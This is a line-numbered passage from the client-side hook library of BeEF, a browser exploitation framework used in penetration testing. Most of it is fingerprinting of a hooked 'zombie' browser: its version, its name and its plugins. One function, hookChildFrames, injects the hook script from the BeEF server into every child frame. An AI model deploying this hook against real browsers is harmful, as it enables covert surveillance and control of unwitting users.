2613
C48iOS: this.isC48iOS(), // Chrome 48 on iOS
2614
C49: this.isC49(), // Chrome 49
2615
C49iOS: this.isC49iOS(), // Chrome 49 on iOS
2616
C50: this.isC50(), // Chrome 50
2617
C50iOS: this.isC50iOS(), // Chrome 50 on iOS
2618
C51: this.isC51(), // Chrome 51
2619
C51iOS: this.isC51iOS(), // Chrome 51 on iOS
2620
C52: this.isC52(), // Chrome 52
2621
C52iOS: this.isC52iOS(), // Chrome 52 on iOS
2622
C53: this.isC53(), // Chrome 53
2623
C53iOS: this.isC53iOS(), // Chrome 53 on iOS
2624
C54: this.isC54(), // Chrome 54
2625
C54iOS: this.isC54iOS(), // Chrome 54 on iOS
2626
C55: this.isC55(), // Chrome 55
2627
C55iOS: this.isC55iOS(), // Chrome 55 on iOS
2628
C56: this.isC56(), // Chrome 56
2629
C56iOS: this.isC56iOS(), // Chrome 56 on iOS
2630
C57: this.isC57(), // Chrome 57
2631
C57iOS: this.isC57iOS(), // Chrome 57 on iOS
2632
C58: this.isC58(), // Chrome 58
2633
C58iOS: this.isC58iOS(), // Chrome 58 on iOS
2634
C63iOS: this.isC63iOS(),
2635
C: this.isC(), // Chrome any version
2636
2637
FF2: this.isFF2(), // Firefox 2
2638
FF3: this.isFF3(), // Firefox 3
2639
FF3_5: this.isFF3_5(), // Firefox 3.5
2640
FF3_6: this.isFF3_6(), // Firefox 3.6
2641
FF4: this.isFF4(), // Firefox 4
2642
FF5: this.isFF5(), // Firefox 5
2643
FF6: this.isFF6(), // Firefox 6
2644
FF7: this.isFF7(), // Firefox 7
2645
FF8: this.isFF8(), // Firefox 8
2646
FF9: this.isFF9(), // Firefox 9
2647
FF10: this.isFF10(), // Firefox 10
2648
FF11: this.isFF11(), // Firefox 11
2649
FF12: this.isFF12(), // Firefox 12
2650
FF13: this.isFF13(), // Firefox 13
2651
FF14: this.isFF14(), // Firefox 14
2652
FF15: this.isFF15(), // Firefox 15
2653
FF16: this.isFF16(), // Firefox 16
2654
FF17: this.isFF17(), // Firefox 17
2655
FF18: this.isFF18(), // Firefox 18
2656
FF19: this.isFF19(), // Firefox 19
2657
FF20: this.isFF20(), // Firefox 20
2658
FF21: this.isFF21(), // Firefox 21
2659
FF22: this.isFF22(), // Firefox 22
2660
FF23: this.isFF23(), // Firefox 23
2661
FF24: this.isFF24(), // Firefox 24
2662
FF25: this.isFF25(), // Firefox 25
2663
FF26: this.isFF26(), // Firefox 26
2664
FF27: this.isFF27(), // Firefox 27
2665
FF28: this.isFF28(), // Firefox 28
2666
FF29: this.isFF29(), // Firefox 29
2667
FF30: this.isFF30(), // Firefox 30
2668
FF31: this.isFF31(), // Firefox 31
2669
FF32: this.isFF32(), // Firefox 32
2670
FF33: this.isFF33(), // Firefox 33
2671
FF34: this.isFF34(), // Firefox 34
2672
FF35: this.isFF35(), // Firefox 35
2673
FF36: this.isFF36(), // Firefox 36
2674
FF37: this.isFF37(), // Firefox 37
2675
FF38: this.isFF38(), // Firefox 38
2676
FF39: this.isFF39(), // Firefox 39
2677
FF40: this.isFF40(), // Firefox 40
2678
FF41: this.isFF41(), // Firefox 41
2679
FF42: this.isFF42(), // Firefox 42
2680
FF43: this.isFF43(), // Firefox 43
2681
FF44: this.isFF44(), // Firefox 44
2682
FF45: this.isFF45(), // Firefox 45
2683
FF46: this.isFF46(), // Firefox 46
2684
FF47: this.isFF47(), // Firefox 47
2685
FF48: this.isFF48(), // Firefox 48
2686
FF49: this.isFF49(), // Firefox 49
2687
FF50: this.isFF50(), // Firefox 50
2688
FF51: this.isFF51(), // Firefox 51
2689
FF52: this.isFF52(), // Firefox 52
2690
FF53: this.isFF53(), // Firefox 53
2691
FF54: this.isFF54(), // Firefox 54
2692
FF55: this.isFF55(), // Firefox 55
2693
FF56: this.isFF56(), // Firefox 56
2694
FF57: this.isFF57(), // Firefox 57
2695
FF58: this.isFF58(), // Firefox 58
2696
FF59: this.isFF59(), // Firefox 59
2697
FF60: this.isFF60(), // Firefox 60
2698
FF61: this.isFF61(), // Firefox 61
2699
FF62: this.isFF62(), // Firefox 62
2700
FF63: this.isFF63(), // Firefox 63
2701
FF64: this.isFF64(), // Firefox 64
2702
FF65: this.isFF65(), // Firefox 65
2703
FF66: this.isFF66(), // Firefox 66
2704
FF67: this.isFF67(), // Firefox 67
2705
FF68: this.isFF68(), // Firefox 68
2706
FF69: this.isFF69(), // Firefox 69
2707
FF70: this.isFF70(), // Firefox 70
2708
FF71: this.isFF71(), // Firefox 71
2709
FF72: this.isFF72(), // Firefox 72
2710
FF73: this.isFF73(), // Firefox 73
2711
FF74: this.isFF74(), // Firefox 74
2712
FF75: this.isFF75(), // Firefox 75
2713
FF76: this.isFF76(), // Firefox 76
2714
FF77: this.isFF77(), // Firefox 77
2715
FF78: this.isFF78(), // Firefox 78
2716
FF79: this.isFF79(), // Firefox 79
2717
FF80: this.isFF80(), // Firefox 70
2718
FF81: this.isFF81(), // Firefox 81
2719
FF82: this.isFF82(), // Firefox 82
2720
FF83: this.isFF83(), // Firefox 83
2721
FF84: this.isFF84(), // Firefox 85
2722
FF85: this.isFF85(), // Firefox 85
2723
FF86: this.isFF86(), // Firefox 85
2724
FF87: this.isFF87(), // Firefox 87
2725
FF88: this.isFF88(), // Firefox 85
2726
FF89: this.isFF89(), // Firefox 85
2727
FF90: this.isFF90(), // Firefox 80
2728
FF91: this.isFF91(), // Firefox 95
2729
FF92: this.isFF92(), // Firefox 92
2730
FF93: this.isFF93(), // Firefox 95
2731
FF94: this.isFF94(), // Firefox 94
2732
FF95: this.isFF95(), // Firefox 95
2733
FF96: this.isFF96(), // Firefox 96
2734
FF97: this.isFF97(), // Firefox 97
2735
FF98: this.isFF98(), // Firefox 98
2736
FF99: this.isFF99(), // Firefox 99
2737
2738
FF: this.isFF(), // Firefox any version
2739
2740
IE6: this.isIE6(), // Internet Explorer 6
2741
IE7: this.isIE7(), // Internet Explorer 7
2742
IE8: this.isIE8(), // Internet Explorer 8
2743
IE9: this.isIE9(), // Internet Explorer 9
2744
IE10: this.isIE10(), // Internet Explorer 10
2745
IE11: this.isIE11(), // Internet Explorer 11
2746
IE: this.isIE(), // Internet Explorer any version
2747
2748
O9_52: this.isO9_52(), // Opera 9.50 through 9.52
2749
O9_60: this.isO9_60(), // Opera 9.60 through 9.64
2750
O10: this.isO10(), // Opera 10.xx
2751
O11: this.isO11(), // Opera 11.xx
2752
O12: this.isO12(), // Opera 12.xx
2753
O: this.isO(), // Opera any version
2754
2755
EP: this.isEpi(), // Epiphany any version
2756
2757
S4: this.isS4(), // Safari 4.xx
2758
S5: this.isS5(), // Safari 5.xx
2759
S6: this.isS6(), // Safari 6.x
2760
S7: this.isS7(), // Safari 7.x
2761
S8: this.isS8(), // Safari 8.x
2762
S: this.isS() // Safari any version
2763
}
2764
},
2765
2766
/**
2767
* Returns the major version of the browser being used.
2768
* @return: {String} version number || 'UNKNOWN'.
2769
*
2770
* @example: beef.browser.getBrowserVersion()
2771
*/
2772
getBrowserVersion: function () {
2773
if (this.isEdge()) {
2774
try {
2775
return platform.version;
2776
} catch(e) {
2777
return 'unknown';
2778
}
2779
}
2780
; // Microsoft Edge
2781
2782
if (this.isC5()) {
2783
return '5'
2784
}
2785
; // Chrome 5
2786
if (this.isC6()) {
2787
return '6'
2788
}
2789
; // Chrome 6
2790
if (this.isC7()) {
2791
return '7'
2792
}
2793
; // Chrome 7
2794
if (this.isC8()) {
2795
return '8'
2796
}
2797
; // Chrome 8
2798
if (this.isC9()) {
2799
return '9'
2800
}
2801
; // Chrome 9
2802
if (this.isC10()) {
2803
return '10'
2804
}
2805
; // Chrome 10
2806
if (this.isC11()) {
2807
return '11'
2808
}
2809
; // Chrome 11
2810
if (this.isC12()) {
2811
return '12'
2812
}
2813
; // Chrome 12
2814
if (this.isC13()) {
2815
return '13'
2816
}
2817
; // Chrome 13
2818
if (this.isC14()) {
2819
return '14'
2820
}
2821
; // Chrome 14
2822
if (this.isC15()) {
2823
return '15'
2824
}
2825
; // Chrome 15
2826
if (this.isC16()) {
2827
return '16'
2828
}
2829
; // Chrome 16
2830
if (this.isC17()) {
2831
return '17'
2832
}
2833
; // Chrome 17
2834
if (this.isC18()) {
2835
return '18'
2836
}
2837
; // Chrome 18
2838
if (this.isC19()) {
2839
return '19'
2840
}
2841
; // Chrome 19
2842
if (this.isC19iOS()) {
2843
return '19'
2844
}
2845
; // Chrome 19 for iOS
2846
if (this.isC20()) {
2847
return '20'
2848
}
2849
; // Chrome 20
2850
if (this.isC20iOS()) {
2851
return '20'
2852
}
2853
; // Chrome 20 for iOS
2854
if (this.isC21()) {
2855
return '21'
2856
}
2857
; // Chrome 21
2858
if (this.isC21iOS()) {
2859
return '21'
2860
}
2861
; // Chrome 21 for iOS
2862
if (this.isC22()) {
2863
return '22'
2864
}
2865
; // Chrome 22
2866
if (this.isC22iOS()) {
2867
return '22'
2868
}
2869
; // Chrome 22 for iOS
2870
if (this.isC23()) {
2871
return '23'
2872
}
2873
; // Chrome 23
2874
if (this.isC23iOS()) {
2875
return '23'
2876
}
2877
; // Chrome 23 for iOS
2878
if (this.isC24()) {
2879
return '24'
2880
}
2881
; // Chrome 24
2882
if (this.isC24iOS()) {
2883
return '24'
2884
}
2885
; // Chrome 24 for iOS
2886
if (this.isC25()) {
2887
return '25'
2888
}
2889
; // Chrome 25
2890
if (this.isC25iOS()) {
2891
return '25'
2892
}
2893
; // Chrome 25 for iOS
2894
if (this.isC26()) {
2895
return '26'
2896
}
2897
; // Chrome 26
2898
if (this.isC26iOS()) {
2899
return '26'
2900
}
2901
; // Chrome 26 for iOS
2902
if (this.isC27()) {
2903
return '27'
2904
}
2905
; // Chrome 27
2906
if (this.isC27iOS()) {
2907
return '27'
2908
}
2909
; // Chrome 27 for iOS
2910
if (this.isC28()) {
2911
return '28'
2912
}
2913
; // Chrome 28
2914
if (this.isC28iOS()) {
2915
return '28'
2916
}
2917
; // Chrome 28 for iOS
2918
if (this.isC29()) {
2919
return '29'
2920
}
2921
; // Chrome 29
2922
if (this.isC29iOS()) {
2923
return '29'
2924
}
2925
; // Chrome 29 for iOS
2926
if (this.isC30()) {
2927
return '30'
2928
}
2929
; // Chrome 30
2930
if (this.isC30iOS()) {
2931
return '30'
2932
}
2933
; // Chrome 30 for iOS
2934
if (this.isC31()) {
2935
return '31'
2936
}
2937
; // Chrome 31
2938
if (this.isC31iOS()) {
2939
return '31'
2940
}
2941
; // Chrome 31 for iOS
2942
if (this.isC32()) {
2943
return '32'
2944
}
2945
; // Chrome 32
2946
if (this.isC32iOS()) {
2947
return '32'
2948
}
2949
; // Chrome 32 for iOS
2950
if (this.isC33()) {
2951
return '33'
2952
}
2953
; // Chrome 33
2954
if (this.isC33iOS()) {
2955
return '33'
2956
}
2957
; // Chrome 33 for iOS
2958
if (this.isC34()) {
2959
return '34'
2960
}
2961
; // Chrome 34
2962
if (this.isC34iOS()) {
2963
return '34'
2964
}
2965
; // Chrome 34 for iOS
2966
if (this.isC35()) {
2967
return '35'
2968
}
2969
; // Chrome 35
2970
if (this.isC35iOS()) {
2971
return '35'
2972
}
2973
; // Chrome 35 for iOS
2974
if (this.isC36()) {
2975
return '36'
2976
}
2977
; // Chrome 36
2978
if (this.isC36iOS()) {
2979
return '36'
2980
}
2981
; // Chrome 36 for iOS
2982
if (this.isC37()) {
2983
return '37'
2984
}
2985
; // Chrome 37
2986
if (this.isC37iOS()) {
2987
return '37'
2988
}
2989
; // Chrome 37 for iOS
2990
if (this.isC38()) {
2991
return '38'
2992
}
2993
; // Chrome 38
2994
if (this.isC38iOS()) {
2995
return '38'
2996
}
2997
; // Chrome 38 for iOS
2998
if (this.isC39()) {
2999
return '39'
3000
}
3001
; // Chrome 39
3002
if (this.isC39iOS()) {
3003
return '39'
3004
}
3005
; // Chrome 39 for iOS
3006
if (this.isC40()) {
3007
return '40'
3008
}
3009
; // Chrome 40
3010
if (this.isC40iOS()) {
3011
return '40'
3012
}
3013
; // Chrome 40 for iOS
3014
if (this.isC41()) {
3015
return '41'
3016
}
3017
; // Chrome 41
3018
if (this.isC41iOS()) {
3019
return '41'
3020
}
3021
; // Chrome 41 for iOS
3022
if (this.isC42()) {
3023
return '42'
3024
}
3025
; // Chrome 42
3026
if (this.isC42iOS()) {
3027
return '42'
3028
}
3029
; // Chrome 42 for iOS
3030
if (this.isC43()) {
3031
return '43'
3032
}
3033
; // Chrome 43
3034
if (this.isC43iOS()) {
3035
return '43'
3036
}
3037
; // Chrome 43 for iOS
3038
if (this.isC44()) {
3039
return '44'
3040
}
3041
; // Chrome 44
3042
if (this.isC44iOS()) {
3043
return '44'
3044
}
3045
; // Chrome 44 for iOS
3046
if (this.isC45()) {
3047
return '45'
3048
}
3049
; // Chrome 45
3050
if (this.isC45iOS()) {
3051
return '45'
3052
}
3053
; // Chrome 45 for iOS
3054
if (this.isC46()) {
3055
return '46'
3056
}
3057
;// Chrome 46
3058
if (this.isC46iOS()) {
3059
return '46'
3060
}
3061
; // Chrome 46 for iOS
3062
if (this.isC47()) {
3063
return '47'
3064
}
3065
;// Chrome 47
3066
if (this.isC47iOS()) {
3067
return '47'
3068
}
3069
; // Chrome 47 for iOS
3070
if (this.isC48()) {
3071
return '48'
3072
}
3073
;// Chrome 48
3074
if (this.isC48iOS()) {
3075
return '48'
3076
}
3077
; // Chrome 48 for iOS
3078
if (this.isC49()) {
3079
return '49'
3080
}
3081
;// Chrome 49
3082
if (this.isC49iOS()) {
3083
return '49'
3084
}
3085
; // Chrome 49 for iOS
3086
if (this.isC50()) {
3087
return '50'
3088
}
3089
;// Chrome 50
3090
if (this.isC50iOS()) {
3091
return '50'
3092
}
3093
; // Chrome 50 for iOS
3094
if (this.isC51()) {
3095
return '51'
3096
}
3097
;// Chrome 51
3098
if (this.isC51iOS()) {
3099
return '51'
3100
}
3101
; // Chrome 51 for iOS
3102
if (this.isC52()) {
3103
return '52'
3104
}
3105
;// Chrome 52
3106
if (this.isC52iOS()) {
3107
return '52'
3108
}
3109
; // Chrome 52 for iOS
3110
if (this.isC53()) {
3111
return '53'
3112
}
3113
;// Chrome 53
3114
if (this.isC53iOS()) {
3115
return '53'
3116
}
3117
; // Chrome 53 for iOS
3118
if (this.isC54()) {
3119
return '54'
3120
}
3121
;// Chrome 54
3122
if (this.isC54iOS()) {
3123
return '54'
3124
}
3125
; // Chrome 54 for iOS
3126
if (this.isC55()) {
3127
return '55'
3128
}
3129
;// Chrome 55
3130
if (this.isC55iOS()) {
3131
return '55'
3132
}
3133
; // Chrome 55 for iOS
3134
if (this.isC56()) {
3135
return '56'
3136
}
3137
;// Chrome 56
3138
if (this.isC56iOS()) {
3139
return '56'
3140
}
3141
; // Chrome 56 for iOS
3142
if (this.isC57()) {
3143
return '57'
3144
}
3145
;// Chrome 57
3146
if (this.isC57iOS()) {
3147
return '57'
3148
}
3149
; // Chrome 57 for iOS
3150
if (this.isC58()) {
3151
return '58'
3152
}
3153
;// Chrome 58
3154
if (this.isC58iOS()) {
3155
return '58'
3156
}
3157
; // Chrome 58 for iOS
3158
3159
3160
if (this.isFF2()) {
3161
return '2'
3162
}
3163
; // Firefox 2
3164
if (this.isFF3()) {
3165
return '3'
3166
}
3167
; // Firefox 3
3168
if (this.isFF3_5()) {
3169
return '3.5'
3170
}
3171
; // Firefox 3.5
3172
if (this.isFF3_6()) {
3173
return '3.6'
3174
}
3175
; // Firefox 3.6
3176
if (this.isFF4()) {
3177
return '4'
3178
}
3179
; // Firefox 4
3180
if (this.isFF5()) {
3181
return '5'
3182
}
3183
; // Firefox 5
3184
if (this.isFF6()) {
3185
return '6'
3186
}
3187
; // Firefox 6
3188
if (this.isFF7()) {
3189
return '7'
3190
}
3191
; // Firefox 7
3192
if (this.isFF8()) {
3193
return '8'
3194
}
3195
; // Firefox 8
3196
if (this.isFF9()) {
3197
return '9'
3198
}
3199
; // Firefox 9
3200
if (this.isFF10()) {
3201
return '10'
3202
}
3203
; // Firefox 10
3204
if (this.isFF11()) {
3205
return '11'
3206
}
3207
; // Firefox 11
3208
if (this.isFF12()) {
3209
return '12'
3210
}
3211
; // Firefox 12
3212
if (this.isFF13()) {
3213
return '13'
3214
}
3215
; // Firefox 13
3216
if (this.isFF14()) {
3217
return '14'
3218
}
3219
; // Firefox 14
3220
if (this.isFF15()) {
3221
return '15'
3222
}
3223
; // Firefox 15
3224
if (this.isFF16()) {
3225
return '16'
3226
}
3227
; // Firefox 16
3228
if (this.isFF17()) {
3229
return '17'
3230
}
3231
; // Firefox 17
3232
if (this.isFF18()) {
3233
return '18'
3234
}
3235
; // Firefox 18
3236
if (this.isFF19()) {
3237
return '19'
3238
}
3239
; // Firefox 19
3240
if (this.isFF20()) {
3241
return '20'
3242
}
3243
; // Firefox 20
3244
if (this.isFF21()) {
3245
return '21'
3246
}
3247
; // Firefox 21
3248
if (this.isFF22()) {
3249
return '22'
3250
}
3251
; // Firefox 22
3252
if (this.isFF23()) {
3253
return '23'
3254
}
3255
; // Firefox 23
3256
if (this.isFF24()) {
3257
return '24'
3258
}
3259
; // Firefox 24
3260
if (this.isFF25()) {
3261
return '25'
3262
}
3263
; // Firefox 25
3264
if (this.isFF26()) {
3265
return '26'
3266
}
3267
; // Firefox 26
3268
if (this.isFF27()) {
3269
return '27'
3270
}
3271
; // Firefox 27
3272
if (this.isFF28()) {
3273
return '28'
3274
}
3275
; // Firefox 28
3276
if (this.isFF29()) {
3277
return '29'
3278
}
3279
; // Firefox 29
3280
if (this.isFF30()) {
3281
return '30'
3282
}
3283
; // Firefox 30
3284
if (this.isFF31()) {
3285
return '31'
3286
}
3287
; // Firefox 31
3288
if (this.isFF32()) {
3289
return '32'
3290
}
3291
; // Firefox 32
3292
if (this.isFF33()) {
3293
return '33'
3294
}
3295
; // Firefox 33
3296
if (this.isFF34()) {
3297
return '34'
3298
}
3299
; // Firefox 34
3300
if (this.isFF35()) {
3301
return '35'
3302
}
3303
; // Firefox 35
3304
if (this.isFF36()) {
3305
return '36'
3306
}
3307
; // Firefox 36
3308
if (this.isFF37()) {
3309
return '37'
3310
}
3311
; // Firefox 37
3312
if (this.isFF38()) {
3313
return '38'
3314
}
3315
; // Firefox 38
3316
if (this.isFF39()) {
3317
return '39'
3318
}
3319
; // Firefox 39
3320
if (this.isFF40()) {
3321
return '40'
3322
}
3323
; // Firefox 40
3324
if (this.isFF41()) {
3325
return '41'
3326
}
3327
; // Firefox 41
3328
if (this.isFF42()) {
3329
return '42'
3330
}
3331
; // Firefox 42
3332
if (this.isFF43()) {
3333
return '43'
3334
}
3335
; // Firefox 43
3336
if (this.isFF44()) {
3337
return '44'
3338
}
3339
; // Firefox 44
3340
if (this.isFF45()) {
3341
return '45'
3342
}
3343
; // Firefox 45
3344
if (this.isFF46()) {
3345
return '46'
3346
}
3347
; // Firefox 46
3348
if (this.isFF47()) {
3349
return '47'
3350
}
3351
; // Firefox 47
3352
if (this.isFF48()) {
3353
return '48'
3354
}
3355
; // Firefox 48
3356
if (this.isFF49()) {
3357
return '49'
3358
}
3359
; // Firefox 49
3360
if (this.isFF50()) {
3361
return '50'
3362
}
3363
; // Firefox 50
3364
if (this.isFF51()) {
3365
return '51'
3366
}
3367
; // Firefox 51
3368
if (this.isFF52()) {
3369
return '52'
3370
}
3371
; // Firefox 52
3372
if (this.isFF53()) {
3373
return '53'
3374
}
3375
; // Firefox 53
3376
if (this.isFF54()) {
3377
return '54'
3378
}
3379
; // Firefox 54
3380
if (this.isFF55()) {
3381
return '55'
3382
}
3383
; // Firefox 55
3384
if (this.isFF56()) {
3385
return '56'
3386
}
3387
; // Firefox 56
3388
if (this.isFF57()) {
3389
return '57'
3390
}
3391
; // Firefox 57
3392
if (this.isFF58()) {
3393
return '58'
3394
}
3395
; // Firefox 58
3396
if (this.isFF59()) {
3397
return '59'
3398
}
3399
; // Firefox 59
3400
if (this.isFF60()) {
3401
return '60'
3402
}
3403
; // Firefox 60
3404
if (this.isFF61()) {
3405
return '61'
3406
}
3407
; // Firefox 61
3408
if (this.isFF62()) {
3409
return '62'
3410
}
3411
; // Firefox 62
3412
if (this.isFF63()) {
3413
return '63'
3414
}
3415
; // Firefox 63
3416
if (this.isFF64()) {
3417
return '64'
3418
}
3419
; // Firefox 64
3420
if (this.isFF65()) {
3421
return '65'
3422
}
3423
; // Firefox 65
3424
if (this.isFF66()) {
3425
return '66'
3426
}
3427
; // Firefox 66
3428
if (this.isFF67()) {
3429
return '67'
3430
}
3431
; // Firefox 67
3432
if (this.isFF68()) {
3433
return '68'
3434
}
3435
; // Firefox 68
3436
if (this.isFF69()) {
3437
return '69'
3438
}
3439
; // Firefox 69
3440
if (this.isFF70()) {
3441
return '70'
3442
}
3443
; // Firefox 70
3444
if (this.isFF71()) {
3445
return '71'
3446
}
3447
; // Firefox 71
3448
if (this.isFF72()) {
3449
return '72'
3450
}
3451
; // Firefox 72
3452
if (this.isFF73()) {
3453
return '73'
3454
}
3455
; // Firefox 73
3456
if (this.isFF74()) {
3457
return '74'
3458
}
3459
; // Firefox 74
3460
if (this.isFF75()) {
3461
return '75'
3462
}
3463
; // Firefox 75
3464
if (this.isFF76()) {
3465
return '76'
3466
}
3467
; // Firefox 76
3468
if (this.isFF77()) {
3469
return '77'
3470
}
3471
; // Firefox 77
3472
if (this.isFF78()) {
3473
return '78'
3474
}
3475
; // Firefox 78
3476
if (this.isFF79()) {
3477
return '79'
3478
}
3479
; // Firefox 79
3480
if (this.isFF80()) {
3481
return '80'
3482
}
3483
; // Firefox 80
3484
if (this.isFF81()) {
3485
return '81'
3486
}
3487
; // Firefox 81
3488
if (this.isFF82()) {
3489
return '82'
3490
}
3491
; // Firefox 82
3492
if (this.isFF83()) {
3493
return '83'
3494
}
3495
; // Firefox 83
3496
if (this.isFF84()) {
3497
return '84'
3498
}
3499
; // Firefox 84
3500
if (this.isFF85()) {
3501
return '85'
3502
}
3503
; // Firefox 85
3504
if (this.isFF86()) {
3505
return '86'
3506
}
3507
; // Firefox 86
3508
if (this.isFF87()) {
3509
return '87'
3510
}
3511
; // Firefox 87
3512
if (this.isFF88()) {
3513
return '88'
3514
}
3515
; // Firefox 88
3516
if (this.isFF89()) {
3517
return '89'
3518
}
3519
; // Firefox 89
3520
if (this.isFF90()) {
3521
return '90'
3522
}
3523
; // Firefox 90
3524
if (this.isFF91()) {
3525
return '91'
3526
}
3527
; // Firefox 91
3528
if (this.isFF92()) {
3529
return '92'
3530
}
3531
; // Firefox 92
3532
if (this.isFF93()) {
3533
return '93'
3534
}
3535
; // Firefox 93
3536
if (this.isFF94()) {
3537
return '94'
3538
}
3539
; // Firefox 94
3540
if (this.isFF95()) {
3541
return '95'
3542
}
3543
; // Firefox 95
3544
if (this.isFF96()) {
3545
return '96'
3546
}
3547
; // Firefox 96
3548
if (this.isFF97()) {
3549
return '97'
3550
}
3551
; // Firefox 97
3552
if (this.isFF98()) {
3553
return '98'
3554
}
3555
; // Firefox 98
3556
if (this.isFF99()) {
3557
return '99'
3558
}
3559
; // Firefox 99
3560
3561
if (this.isIE6()) {
3562
return '6'
3563
}
3564
; // Internet Explorer 6
3565
if (this.isIE7()) {
3566
return '7'
3567
}
3568
; // Internet Explorer 7
3569
if (this.isIE8()) {
3570
return '8'
3571
}
3572
; // Internet Explorer 8
3573
if (this.isIE9()) {
3574
return '9'
3575
}
3576
; // Internet Explorer 9
3577
if (this.isIE10()) {
3578
return '10'
3579
}
3580
; // Internet Explorer 10
3581
if (this.isIE11()) {
3582
return '11'
3583
}
3584
; // Internet Explorer 11
3585
3586
if (this.isEdge()) {
3587
return '1'
3588
}
3589
; // Microsoft Edge
3590
3591
if (this.isEpi()) {
3592
// believe the UserAgent string for version info - until whenever
3593
var epiphanyRe = /Epiphany\/(\d+)/;
3594
var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
3595
if (versionDetails.length > 1) {
3596
return versionDetails[1];
3597
} else {
3598
return "UNKNOWN"; // returns from here or it may take Safari version details
3599
}
3600
}
3601
; // Epiphany
3602
3603
if (this.isS4()) {
3604
return '4'
3605
}
3606
; // Safari 4
3607
if (this.isS5()) {
3608
return '5'
3609
}
3610
; // Safari 5
3611
if (this.isS6()) {
3612
return '6'
3613
}
3614
; // Safari 6
3615
3616
if (this.isS7()) {
3617
return '7'
3618
}
3619
; // Safari 7
3620
if (this.isS8()) {
3621
return '8'
3622
}
3623
; // Safari 8
3624
3625
if (this.isO9_52()) {
3626
return '9.5'
3627
}
3628
; // Opera 9.5x
3629
if (this.isO9_60()) {
3630
return '9.6'
3631
}
3632
; // Opera 9.6
3633
if (this.isO10()) {
3634
return '10'
3635
}
3636
; // Opera 10.xx
3637
if (this.isO11()) {
3638
return '11'
3639
}
3640
; // Opera 11.xx
3641
if (this.isO12()) {
3642
return '12'
3643
}
3644
; // Opera 12.xx
3645
3646
// platform.js
3647
try {
3648
var version = platform.version;
3649
if (!!version)
3650
return version;
3651
} catch (e) {}
3652
3653
return 'UNKNOWN'; // Unknown UA
3654
},
3655
3656
/**
3657
* Returns the type of user agent by hooked browser.
3658
* @return: {String} User agent software.
3659
*
3660
* @example: beef.browser.getBrowserName()
3661
*/
3662
getBrowserName: function () {
3663
if (this.isEdge()) {
3664
return 'E'
3665
}
3666
; // Microsoft Edge any version
3667
if (this.isC()) {
3668
return 'C'
3669
}
3670
; // Chrome any version
3671
if (this.isFF()) {
3672
return 'FF'
3673
}
3674
; // Firefox any version
3675
if (this.isIE()) {
3676
return 'IE'
3677
}
3678
; // Internet Explorer any version
3679
if (this.isO()) {
3680
return 'O'
3681
}
3682
; // Opera any version
3683
if (this.isEpi()) {
3684
return 'EP'
3685
}
3686
; // Epiphany any version
3687
if (this.isS()) {
3688
return 'S'
3689
}
3690
; // Safari any version
3691
if (this.isA()) {
3692
return 'A'
3693
}
3694
; // Avant any version
3695
if (this.isMidori()) {
3696
return 'MI'
3697
}
3698
; // Midori any version
3699
if (this.isOdyssey()) {
3700
return 'OD'
3701
}
3702
; // Odyssey any version
3703
if (this.isBrave()) {
3704
return 'BR'
3705
}
3706
; // Brave any version
3707
return 'UNKNOWN'; // Unknown UA
3708
},
3709
3710
/**
3711
* Hooks all child frames in the current window
3712
* Restricted by same-origin policy
3713
*/
3714
hookChildFrames: function () {
3715
3716
// create script object
3717
var script = document.createElement('script');
3718
script.type = 'text/javascript';
3719
script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>';
3720
3721
// loop through child frames
3722
for (var i = 0; i < self.frames.length; i++) {
3723
try {
3724
// append hook script
3725
self.frames[i].document.body.appendChild(script);
3726
beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
3727
} catch (e) {
3728
// warn on cross-origin
3729
beef.debug("Hooking child frame failed: " + e.message);
3730
}
3731
}
3732
},
3733
3734
/**
3735
* Checks if the zombie has flash installed and enabled.
3736
* @return: {Boolean} true or false.
3737
*
3738
* @example: if(beef.browser.hasFlash()) { ... }
3739
*/
3740
hasFlash: function () {
3741
if (!beef.browser.isIE()) {
3742
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
3743
}
3744
3745
if (!!navigator.plugins) {
3746
return (navigator.plugins["Shockwave Flash"] != undefined);
3747
}
3748
3749
// IE
3750
var flash_versions = 12;
3751
if (window.ActiveXObject != null) {
3752
for (x = 2; x <= flash_versions; x++) {
3753
try {
3754
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
3755
if (Flash) {
3756
return true;
3757
}
3758
} catch (e) {
3759
beef.debug("Creating Flash ActiveX object failed: " + e.message);
3760
}
3761
}
3762
}
3763
3764
return false;
3765
},
3766
3767
/**
3768
* Checks if the zombie has the QuickTime plugin installed.
3769
* @return: {Boolean} true or false.
3770
*
3771
* @example: if ( beef.browser.hasQuickTime() ) { ... }
3772
*/
3773
hasQuickTime: function () {
3774
if (!!navigator.plugins) {
3775
for (i = 0; i < navigator.plugins.length; i++) {
3776
if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
3777
return true;
3778
}
3779
}
3780
}
3781
3782
// IE
3783
try {
3784
var qt_test = new ActiveXObject('QuickTime.QuickTime');
3785
if (qt_test) {
3786
return true;
3787
}
3788
} catch (e) {
3789
beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
3790
}
3791
3792
return false;
3793
},
3794
3795
/**
3796
* Checks if the zombie has the RealPlayer plugin installed.
3797
* @return: {Boolean} true or false.
3798
*
3799
* @example: if ( beef.browser.hasRealPlayer() ) { ... }
3800
*/
3801
hasRealPlayer: function () {
3802
3803
if (!!navigator.plugins) {
3804
for (i = 0; i < navigator.plugins.length; i++) {
3805
if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
3806
return true;
3807
}
3808
}
3809
}
3810
3811
// IE
3812
var definedControls = [
3813
'RealPlayer',
3814
'rmocx.RealPlayer G2 Control',
3815
'rmocx.RealPlayer G2 Control.1',
3816
'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
3817
'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
3818
];
3819
3820
for (var i = 0; i < definedControls.length; i++) {
3821
try {
3822
var rp_test = new ActiveXObject(definedControls[i]);
3823
if (rp_test) {
3824
return true;
3825
}
3826
} catch (e) {
3827
beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
3828
}
3829
}
3830
3831
return false;
3832
},
3833
3834
/**
3835
* Checks if the zombie has the Windows Media Player plugin installed.
3836
* @return: {Boolean} true or false.
3837
*
3838
* @example: if ( beef.browser.hasWMP() ) { ... }
3839
*/
3840
hasWMP: function () {
3841
if (!!navigator.plugins) {
3842
